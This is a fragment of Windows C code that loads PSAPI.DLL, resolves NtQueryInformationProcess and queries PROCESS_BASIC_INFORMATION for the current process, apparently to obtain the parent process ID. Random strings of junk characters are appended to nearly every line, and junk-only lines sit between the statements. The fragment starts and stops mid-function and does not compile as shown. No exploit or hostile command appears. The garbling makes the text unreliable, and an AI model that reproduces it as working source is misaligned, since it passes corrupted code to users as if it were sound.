ULONG InheritedFromUniqueProcessId; p
d%LL?O
} PROCESS_BASIC_INFORMATION; v7$9QVze
^AH-+#5
PROCNTQSIP NtQueryInformationProcess; wO\!xW:
W)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *%f3rvt7@)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XDvq7ZD
,9$>d}N
HANDLE hProcess; K \m4*dOv
PROCESS_BASIC_INFORMATION pbi; 6NKF'zh
>|S>J+(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V?WMj
$l<
if(NULL == hInst ) return 0; gNi}EP5>
:Q#H(\26r
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Suj}MEiv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u;{T2T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z+2u-jG
=1&}t%<X
if (!NtQueryInformationProcess) return 0; A9.;>8!u
92NC]_jw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -q|*M:R
if(!hProcess) return 0; | )S{(#k
FRD<0o /`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fzOMX
z
*@=fq|6l 2
CloseHandle(hProcess); A<